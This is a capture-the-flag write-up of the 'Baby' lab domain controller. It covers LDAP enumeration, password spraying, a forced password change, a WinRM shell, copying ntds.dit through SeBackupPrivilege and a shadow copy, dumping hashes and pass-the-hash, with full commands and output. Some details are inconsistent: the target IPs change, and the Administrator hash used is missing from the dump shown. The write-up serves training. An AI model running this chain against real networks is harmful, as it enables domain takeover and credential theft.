Baby (VulnLab) - Complete Writeup
Published on 16 min read
Updated on
In this series37 min read in total
- GCTF 2025 - Case Writeup
- Baby (VulnLab) - Complete Writeup
| Info | Value |
|---|---|
| Name | Baby |
| Platform | VulnLab / HackTheBox |
| OS | Windows Server 2022 Build 20348 |
| Domain | baby.vl |
| DC | BABYDC.baby.vl |
| Difficulty | Easy |
| Target IP | 10.129.234.71 |
1. Reconnaissance
1.1 Port scan
The first step of any pentest is to discover which services are running on the target. We use nmap with a full scan of all ports (-p-) and disable host discovery (-Pn) since we already know the target is online.
nmap -p- -Pn --min-rate 1000 10.129.14.67PORT STATE SERVICE53/tcp open domain88/tcp open kerberos-sec135/tcp open msrpc139/tcp open netbios-ssn389/tcp open ldap445/tcp open microsoft-ds464/tcp open kpasswd5593/tcp open http-rpc-epmap636/tcp open ldapssl3268/tcp open globalcatLDAP3269/tcp open globalcatLDAPssl3389/tcp open ms-wbt-server5985/tcp open wsman9389/tcp open adws
[...]1.2 Detailed service scan
We run a more aggressive scan with -A, which enables OS detection, service version detection, NSE script execution, and traceroute. The -vv flag increases verbosity to gather as much detail as possible.
nmap -p- -Pn 10.129.14.67 -A -vvKey information extracted:
- OS: Windows Server 2022 Build 20348
- Machine name: BABYDC
- Domain: baby.vl
- FQDN: BabyDC.baby.vl
- SMB signing: enabled and required
- WinRM (5985): open
1.3 Environment setup
Before going further, we configure our environment to resolve the domain name:
echo "10.129.234.71 BABYDC.baby.vl baby.vl BABYDC" >> /etc/hosts
# Environment variableexport DC_IP=10.129.234.712. LDAP enumeration - Anonymous bind
2.1 Testing anonymous authentication
We test whether the LDAP server accepts anonymous connections (without credentials). This is a common misconfiguration on DCs.
We use NetExec (nxc) to test the anonymous LDAP bind. The -u '' -p '' parameters send an empty username and password to attempt an anonymous connection.
$ nxc ldap 10.129.14.67 -u '' -p ''LDAP 10.129.14.67 389 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)LDAP 10.129.14.67 389 BABYDC [+] baby.vl\:2.2 Enumerating domain users
The --users flag asks NetExec to enumerate all domain user accounts via LDAP, showing their names, password change dates, bad password counter, and description.
$ nxc ldap 10.129.14.67 -u '' -p '' --usersLDAP 10.129.14.67 389 BABYDC [*] Enumerated 9 domain users: baby.vlLDAP 10.129.14.67 389 BABYDC -Username- -Last PW Set- -BadPW- -Description-LDAP 10.129.14.67 389 BABYDC Guest <never> 0 Built-in account for guest access to the computer/domainLDAP 10.129.14.67 389 BABYDC Jacqueline.Barnett 2021-11-21 16:11:03 0LDAP 10.129.14.67 389 BABYDC Ashley.Webb 2021-11-21 16:11:03 0LDAP 10.129.14.67 389 BABYDC Hugh.George 2021-11-21 16:11:03 0LDAP 10.129.14.67 389 BABYDC Leonard.Dyer 2021-11-21 16:11:03 0LDAP 10.129.14.67 389 BABYDC Connor.Wilkinson 2021-11-21 16:11:08 0LDAP 10.129.14.67 389 BABYDC Joseph.Hughes 2021-11-21 16:11:08 0LDAP 10.129.14.67 389 BABYDC Kerry.Wilson 2021-11-21 16:11:08 0LDAP 10.129.14.67 389 BABYDC Teresa.Bell 2021-11-21 16:14:37 0 Set initial password to BabyStart123!3. Discovering a password in an LDAP description
3.1 Full LDAP enumeration to find all users
The nxc tool only returned 9 users. We use ldapsearch for a more exhaustive enumeration:
ldapsearch is a command-line LDAP client. Here:
-x: simple authentication (not SASL)-b "dc=baby,dc=vl": search base (the domain root)"*": retrieve every attribute of each object-H ldap://BabyDC.baby.vl: URI of the target LDAP server| grep dn: we filter the output to keep only the Distinguished Names (DN), the unique identifier of each object in the directory
$ ldapsearch -x -b "dc=baby,dc=vl" "*" -H ldap://BabyDC.baby.vl | grep dndn: DC=baby,DC=vldn: CN=Administrator,CN=Users,DC=baby,DC=vldn: CN=Guest,CN=Users,DC=baby,DC=vldn: CN=krbtgt,CN=Users,DC=baby,DC=vldn: CN=dev,CN=Users,DC=baby,DC=vldn: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vldn: CN=Ashley Webb,OU=dev,DC=baby,DC=vldn: CN=Hugh George,OU=dev,DC=baby,DC=vldn: CN=Leonard Dyer,OU=dev,DC=baby,DC=vldn: CN=Ian Walker,OU=dev,DC=baby,DC=vldn: CN=it,CN=Users,DC=baby,DC=vldn: CN=Connor Wilkinson,OU=it,DC=baby,DC=vldn: CN=Joseph Hughes,OU=it,DC=baby,DC=vldn: CN=Kerry Wilson,OU=it,DC=baby,DC=vldn: CN=Teresa Bell,OU=it,DC=baby,DC=vldn: CN=Caroline Robinson,OU=it,DC=baby,DC=vlOrganizational structure of the domain:
- OU=dev: Jacqueline.Barnett, Ashley.Webb, Hugh.George, Leonard.Dyer, Ian.Walker
- OU=it: Connor.Wilkinson, Joseph.Hughes, Kerry.Wilson, Teresa.Bell, Caroline.Robinson
4. Password Spraying and STATUS_PASSWORD_MUST_CHANGE
4.1 Building the user list
$ cat usersGuestJacqueline.BarnettAshley.WebbHugh.GeorgeLeonard.DyerConnor.WilkinsonJoseph.HughesIan.WalkerKerry.WilsonTeresa.BellCaroline.Robinson4.2 Password spray with the discovered password
We try the password BabyStart123! (found in the LDAP description) against all the domain accounts. This is password spraying: a single password tested against multiple accounts. The -u users parameter takes a file containing one username per line, and -p the password to test on each of them.
$ nxc ldap 10.129.14.67 -u users -p 'BabyStart123!'LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Guest:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Hugh.George:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Ian.Walker:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123!LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE5. Remote password change
5.1 Attempts and errors
Several methods were tested:
smbpasswd (failure)
smbpasswdis the native GNU/Linux tool to change an SMB password.-U BABY/Caroline.Robinsonspecifies the target account (domain/user) and-r baby.vlindicates the remote machine on which to perform the change.$ smbpasswd -U BABY/Caroline.Robinson -r baby.vlOld SMB password:New SMB password:Retype new SMB password:machine baby.vl rejected the password change: STATUS_PASSWORD_RESTRICTIONnxc change-password (success)
We use NetExec’s
-M change-passwordmodule over SMB. The-o NEWPASS='BabyAnd123!'option passes the new password to the module. NetExec automatically handles the MS-SAMR protocol to perform the change remotely.$ nxc smb baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS='BabyAnd123!'SMB 10.129.234.71 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGECHANGE-P... 10.129.234.71 445 BABYDC [+] Successfully changed password for Caroline.Robinson
5.2 Verifying access
We verify that the new credentials work across the different protocols. NetExec tests LDAP (port 389) and WinRM (port 5985). The (admin) marker means the user has administrative rights on the target.
$ nxc ldap baby.vl -u Caroline.Robinson -p 'BabyAnd123!'LDAP 10.129.234.71 389 BABYDC [+] baby.vl\Caroline.Robinson:BabyAnd123! (admin)
$ nxc winrm baby.vl -u Caroline.Robinson -p 'BabyAnd123!'WINRM 10.129.234.71 5985 BABYDC [+] baby.vl\Caroline.Robinson:BabyAnd123! (admin)6. Initial access - WinRM (User Flag)
6.1 Connecting via Evil-WinRM
evil-winrm-py is a WinRM (Windows Remote Management) client that provides an interactive remote PowerShell shell. --ip specifies the target and --user the account to use. The password is prompted interactively.
$ evil-winrm-py --ip baby.vl --user Caroline.RobinsonPassword: BabyAnd123![*] Connecting to 'baby.vl:5985' as 'Caroline.Robinson'evil-winrm-py PS C:\Users\Caroline.Robinson\Documents>6.2 Retrieving the user flag
evil-winrm-py PS C:\Users\Caroline.Robinson\Desktop> cat user.txt6ce35506b416e040865255ad1168147d6.3 Enumerating privileges
The whoami /priv command displays the Windows privileges associated with the current user’s token. These privileges determine which special operations the account can perform on the system.
evil-winrm-py PS C:\Users\Caroline.Robinson\Desktop> whoami /privPRIVILEGES INFORMATION----------------------Privilege Name Description State============================= ============================== =======SeMachineAccountPrivilege Add workstations to domain EnabledSeBackupPrivilege Back up files and directories EnabledSeRestorePrivilege Restore files and directories EnabledSeShutdownPrivilege Shut down the system EnabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeIncreaseWorkingSetPrivilege Increase a process working set Enabled7. Privilege Escalation - Abusing SeBackupPrivilege
7.1 First attempt: Extracting the SAM/SYSTEM hives
The simplest method is to extract the Windows registry hives. The reg save command exports a registry branch to a file. hklm\sam contains the local account hashes, and hklm\system contains the encryption key (bootkey) needed to decrypt them.
Extracting the hives on the target
Terminal window evil-winrm-py PS C:\> mkdir Tempevil-winrm-py PS C:\> reg save hklm\sam C:\Temp\samThe operation completed successfully.evil-winrm-py PS C:\> reg save hklm\system C:\Temp\systemThe operation completed successfully.Downloading to the attacker machine
Terminal window evil-winrm-py PS C:\Temp> download sam .[+] File downloaded successfully and saved as: /workspace/samevil-winrm-py PS C:\Temp> download system .[+] File downloaded successfully and saved as: /workspace/systemDumping the local SAM hashes
secretsdump(Impacket) extracts password hashes from the Windows registry files.-sam samand-system systempoint to the downloaded files.LOCALindicates that we are working on local files (no network connection).$ secretsdump -sam sam -system system LOCALImpacket (Exegol fork) v0.13.0.dev0+20250723.125503.b5db2dd7[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::[*] Cleaning up...Pass-the-Hash attempt (failure)
We try a Pass-the-Hash with NetExec: the
-Hflag allows authenticating with the NT hash instead of the cleartext password.$ nxc smb 10.129.234.71 -u Administrator -H 8d992faed38128ae85e95fa35868bb43SMB 10.129.234.71 445 BABYDC [-] baby.vl\Administrator:8d992faed38128ae85e95fa35868bb43 STATUS_LOGON_FAILURE
8. Extracting NTDS.dit with DiskShadow
8.1 Why DiskShadow?
The C:\Windows\NTDS\ntds.dit file is constantly locked by the Active Directory process. We cannot copy it directly. The solution is to create a Volume Shadow Copy (VSS), a snapshot of the disk, then copy the file from that snapshot.
DiskShadow is a legitimate Windows tool that allows creating shadow copies via a script.
8.2 Creation and execution
Creating the DiskShadow script
$ cat bck.txtset metadata C:\Windows\Temp\meta.cabset context clientaccessibleset context persistentbegin backupadd volume C: alias cdrivecreateexpose %cdrive% E:end backupUploading and running the script
We upload the script to the target then run it with
diskshadow /s(script mode, non-interactive).Terminal window evil-winrm-py PS C:\Temp> upload bck.txtevil-winrm-py PS C:\Temp> diskshadow /s bck.txtCopying NTDS.dit via robocopy /b
The shadow copy is created and exposed on
E:\. We userobocopywith the/bflag (backup mode) which leveragesSeBackupPrivilegeto bypass the ACLs and copy the locked file.evil-winrm-py PS C:\Temp> robocopy /b E:\Windows\ntds . ntds.dit-------------------------------------------------------------------------------ROBOCOPY :: Robust File Copy for Windows-------------------------------------------------------------------------------Source : E:\Windows\ntds\Dest : C:\Temp\Files : ntds.ditNew File 16.0 m ntds.dit100%-------------------------------------------------------------------------------Total Copied Skipped Mismatch FAILED ExtrasDirs : 1 0 1 0 0 0Files : 1 1 0 0 0 0Bytes : 16.00 m 16.00 m 0 0 0 0Downloading and cleanup
We exfiltrate the file to our machine, then delete the shadow copy to clean up the traces.
Terminal window evil-winrm-py PS C:\Temp> download ntds.dit .[+] File downloaded successfully and saved as: /workspace/ntds.ditevil-winrm-py PS C:\Temp> unexpose E:evil-winrm-py PS C:\Temp> delete shadows volume E:
9. Dumping the domain secrets
secretsdump (Impacket) - partial failure
We add
-ntds ntds.ditto asksecretsdumpto also parse the NTDS database in addition to the SAM/SYSTEM hives.$ secretsdump -sam sam -system system -ntds ntds.dit LOCAL[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::[*] Cleaning up...gosecretsdump - success
We use
gosecretsdump, a Go reimplementation of secretsdump, which handles certain NTDS formats better.-ntdspoints to the NTDS.dit file and-systemto the SYSTEM hive (needed to decrypt the hashes).$ gosecretsdump -ntds ntds.dit -system systemBABYDC$:aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884:::baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:20b8853f7aa61297bfbc5ed2ab34aed8:::baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:02e8841e1a2c6c0fa1f0becac4161f89:::baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:f0082574cc663783afdbc8f35b6da3a1:::baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:b3b2f9c6640566d13bf25ac448f560d2:::baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:0e440fd30bebc2c524eaaed6b17bcd5c:::baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:e125345993f6258861fb184f1a8522c9:::baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:31f12d52063773769e2ea5723e78f17f:::baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:181154d0dbea8cc061731803e601d1e4:::baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:7735283d187b758f45c0565e22dc20d8:::baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:9f4041fd26048254f14550f776deabb6:::
10. Administrator access - Pass-the-Hash (Root Flag)
10.1 Connecting as Administrator
With the domain administrator’s NT hash extracted from NTDS.dit, we use the Pass-the-Hash (PtH) technique to log in without knowing the cleartext password. Evil-winrm’s -H flag directly accepts an NT hash in place of the password.
$ evil-winrm-py --ip baby.vl --user Administrator -H ee4457ae59f1e3fbd764e33d9cef123d[*] Connecting to 'baby.vl:5985' as 'Administrator'evil-winrm-py PS C:\Users\Administrator\Documents>10.2 Retrieving the root flag
evil-winrm-py PS C:\Users\Administrator\Desktop> ls
Directory: C:\Users\Administrator\DesktopMode LastWriteTime Length Name---- ------------- ------ -----ar--- 4/3/2026 2:54 PM 34 root.txt
evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt66d724739e14a060792921068c899a3cAttack summary (Kill Chain)
graph LR subgraph Reconnaissance A["nmap -p- -Pn\\n21 open ports\\nWindows Server 2022"] --> B["nxc ldap -u '' -p ''\\nAnonymous bind allowed"] B --> C["nxc ldap --users\\n9 users enumerated"] C --> D["ldapsearch\\n2 additional users\\nIan.Walker, Caroline.Robinson"] end subgraph Information Disclosure D --> E["Teresa.Bell LDAP description\\nSet initial password to BabyStart123!"] end subgraph Credential Access E --> F["Password Spraying\\nnxc ldap -u users -p BabyStart123!\\n10 failures, 1 hit"] F --> G["Caroline.Robinson\\nSTATUS_PASSWORD_MUST_CHANGE\\nValid password"] G --> H["nxc smb -M change-password\\nBabyStart123! then BabyAnd123!"] end subgraph Initial Access H --> I["nxc winrm = admin\\nCaroline.Robinson:BabyAnd123!"] I --> J["evil-winrm-py\\nShell on BABYDC:5985"] J --> K["cat user.txt\\n6ce35506b416e040865255ad1168147d"] end subgraph Privilege Escalation J --> L["whoami /priv\\nSeBackupPrivilege\\nSeRestorePrivilege"] L --> M["reg save hklm sam/system\\nDump local SAM"] M --> N["secretsdump -sam -system LOCAL\\nAdmin hash: 8d992fa...\\nSTATUS_LOGON_FAILURE"] N --> O["DiskShadow /s bck.txt\\nCreate Volume Shadow Copy\\nExpose on E:"] O --> P["robocopy /b E:\\Windows\\ntds .\\nCopy ntds.dit via\\nSeBackupPrivilege"] P --> Q["download ntds.dit\\n16 MB exfiltrated"] end subgraph Domain Compromise Q --> R["gosecretsdump\\n-ntds ntds.dit -system system\\nDump all hashes"] R --> S["Pass-the-Hash\\nevil-winrm -H ee4457ae...\\nAdministrator@BABYDC"] S --> T["cat root.txt\\n66d724739e14a060792921068c899a3c"] end
Flags
| Flag | Value |
|---|---|
| User | 6ce35506b416e040865255ad1168147d |
| Root | 66d724739e14a060792921068c899a3c |
Tools used
| Tool | Usage |
|---|---|
| nmap | Port scanning and service detection |
| NetExec (nxc) | LDAP/SMB enumeration, password spraying, password change, post-exploitation modules |
| ldapsearch | Raw LDAP enumeration to list all DNs |
| evil-winrm-py | Remote PowerShell shell via WinRM |
| DiskShadow | Volume Shadow Copy creation (native Windows tool) |
| robocopy /b | File copy in backup mode (leverages SeBackupPrivilege) |
| secretsdump | Hash extraction from SAM/SYSTEM |
| gosecretsdump | Hash extraction from NTDS.dit + SYSTEM |